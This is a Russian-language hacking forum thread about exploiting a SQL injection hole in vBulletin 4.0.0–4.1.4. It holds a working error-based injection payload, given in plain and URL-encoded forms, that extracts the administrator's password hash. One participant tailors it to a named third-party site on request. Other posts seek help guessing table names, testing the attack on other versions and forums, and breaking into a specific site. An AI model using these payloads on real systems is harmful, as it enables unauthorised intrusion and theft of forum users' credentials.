Обсуждение\вопросы Уязвимость vBulletin 4.0.0-4.1.4

[SyavaK]

Цитата: Сообщение от Excellent18rus Ошибка MySQL : Table 'udk8w846_vb.user' doesn't exist

udk8w846_vb = база
user = таблица
в этой базе нет такой таблицы
нужно угадать
если очень нужно даш под ник сайт
с вероятность 90% дам те список таблиц

[Excellent18rus]

сайт ll2.ru
Дай мне рабочий запрос для него) а там уж я сам разберусь как это исправить

[SyavaK]

Цитата: Сообщение от Excellent18rus сайт ll2.ru Дай мне рабочий запрос для него) а там уж я сам разберусь как это исправить

securitytoken=guest&humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from bvuser where userid=1 and row(1,1)>(select count(*),concat( (select bvuser.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*

[sergejka_hacker]

я не могу установить дополениние Live HTTP Headers у меня написало : Просмотр HTTP заголовков не может быть установлено так как оно не совместимо с FireFox 5.01 или 6.1 или 7.1 .На трех версиях не прокатило что делать?

[20Damir08]

Помогите. нет таблицы. Как ее найти(ее имя)?
например:
Ошибка MySQL: Table '***_forum.user' doesn't exist

[arfeus]

При заливке кода выскакивает вот такое:
[Ссылки могут видеть только зарегистрированные пользователи. ]

Может кто-то подскажет, есть шансы на узнавание логина и пасс...

[GoodFellowQQ]

При вставке кода в прооверочный форум ктото сказал что там работает...
и на других тоже.. у меня просто открывается снова Поиск!

Цитата: [Ссылки могут видеть только зарегистрированные пользователи. ][]=&searchfromtype=vBForum%3ASocialGroupMessage&do=p rocess&contenttypeid=5&categoryid[]=-99%29%20union%20select%20password%20from%20user%20 where%20userid=1%20and%20row%281,1%29%3E%28select% 20count%28*%29,concat%28%20%28select%20user.passwo rd%29%20,0x3a,floor%28rand%280%29*2%29%29%20x%20fr om%20%28select%201%20union%20select%202%20union%20 select%203%29a%20group%20by%20x%20limit%201%29%20--%20/*

[-=Milky_Way=-]

Актуально для фогейм форума?

Добавлено через 18 минут
Вот кстати я разобрался немного. Фогеи немного изменили структуру проверки версии Булки Вот теперь как проверить ее [Ссылки могут видеть только зарегистрированные пользователи. ]

[bonn]

Актуально ли для 4.2.0 ?

[AD010]

[Ссылки могут видеть только зарегистрированные пользователи. ] - нужно взломать, чтобы вытащить прикрепленный файл, зарегистрироваться невозможно, на втором этапе регистрации всегда ошибка 500. Сайт на vBulletin